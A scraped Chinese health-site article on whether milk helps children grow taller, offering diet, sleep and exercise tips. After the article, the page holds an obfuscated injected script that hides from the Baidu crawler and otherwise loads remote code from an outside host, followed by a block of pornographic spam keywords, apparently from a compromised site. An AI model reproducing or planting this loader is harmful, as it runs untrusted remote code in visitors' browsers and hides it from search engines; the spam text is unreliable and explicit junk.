當前位置:首頁 > 母嬰 > 寶寶飲食 > 正文

牛奶能幫助孩子長高嗎

2017-04-06 13:39:04  來源:360常識網   熱度:
導語:對于家長來說,都希望自己的孩子能夠長高一些,因為如今的社會是看顏值的社會,這也就是說如果身材高大,長相很好,不論是找工作還是找伴侶

對于家長來說,都希望自己的孩子能夠長高一些,因為如今的社會是看顏值的社會,這也就是說如果身材高大,長相很好,不論是找工作還是找伴侶,都是高人一等的。想要讓自己的孩子增高,那么就需要從健康飲食方面入手。那么,牛奶能不能幫助人長高呢?這是肯定的。

人的身高主要由遺傳因素和后天因素決定。后天因素中主要與營養和鍛煉有關,而且人的生長期主要在男18~20歲,女16~18歲之前,尤其是青春期生長發育很快。此時應多食蛋白質(魚、肉、豆、蛋、奶)、新鮮蔬菜水果、適量補充維生素D及鈣劑,另外加強鍛煉,多做彈跳運動,可使下肢肌肉、骨骼血液循環加速,有利于營養的吸收,使骨骼迅速生長。

這樣看來,喝牛奶是可以長高的。牛奶中含有大量的鈣可以補充鈣。但是它不含維生素D不過你只要多曬太陽就可以補D了,不過不要在強光時曬太陽啊那樣對皮膚不好!同時加維生素c促進鈣吸收。最好晚上喝,怕增肥可以喝脫脂的!

快速增高秘籍

1.請保持充足的睡眠,不要熬夜,有時候睡覺的時候腿可能會蹬的一下,那便是增長的預告。

2.營養均衡,不挑食。常吃蛋白質高的肉類,常喝牛奶。

禁吃以下不利長高的食品

碳酸飲料:特別是可樂型飲料中磷含量過高,過量飲用導致體內鈣、磷比例失調,造成發育遲緩。

糖果、甜飲料:吃糖過多會影響體內脂肪的消耗,造成脂肪堆積,還會影響鈣質代謝。一些專業人士認為,吃糖量如果達到總食量的16%—18%,就可使體內鈣質代謝紊亂,妨礙體內的鈣化作用,影響長高。

“垃圾食品”:油炸食品、膨化食品、腌制食品、罐頭類制品由于在制作過程中營養損失大,又使用了各種添加劑,如香精、防腐劑、色素等,雖然它們提供了大量熱量,但蛋白質、維生素等營養成分卻很少,長期食用這類食品,可導致營養不良。

3.經常曬太陽,骨骼似乎和植物很相像,享受一下陽光的滋潤對身高有一定影響

除此之外,建議孩子們以及一些青少年應該多多運動,從小就養成運動的好習慣,尤其是一些有跳躍的運動,比如打籃球或者是打羽毛球等等,這些運動可以促進骨骼的發育。而且,運動過后,孩子會食欲大開,因此吸收的營養會更多。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品美女免费视频观看| 日本精品中文字幕| 777国产偷窥盗摄精品品在线| 国产精品青青青高清在线观看| 国产精品伦一区二区三级视频| 国产精品嫩草影院线路| 91精品国产高清久久久久久国产嫩草| 国产内地精品毛片视频| 国产久热精品无码激情| 亚洲国语精品自产拍在线观看| 亚洲AⅤ永久无码精品AA| 国产精品五月天强力打造| 国产精品久线观看视频| 国产精品成人观看视频国产奇米| 国产精品手机在线亚洲| 国产精品一久久香蕉国产线看| 久久精品国产秦先生| 日韩经典精品无码一区| 亚洲精品亚洲人成在线| 91精品久久久久久久久中文字幕| 中日精品无码一本二本三本| 精品视频一区二区| 亚洲热线99精品视频| 日韩精品人妻av一区二区三区| 亚洲欧美国产精品专区久久| 91精品国产免费| 久久99久久99精品免观看 | 国产精品美女午夜爽爽爽免费| 久久久久国产成人精品| 久久频这里精品99香蕉久| 99re热精品视频国产免费| 国语自产少妇精品视频蜜桃| 亚洲综合精品网站| 国产成人精品无缓存在线播放 | 国产99视频精品专区| 久久国产午夜精品一区二区三区| 精品69久久久久久99| 国产精品videossexohd| 国产精品1024| 亚洲欧洲精品成人久久曰| 国产精品福利一区二区久久|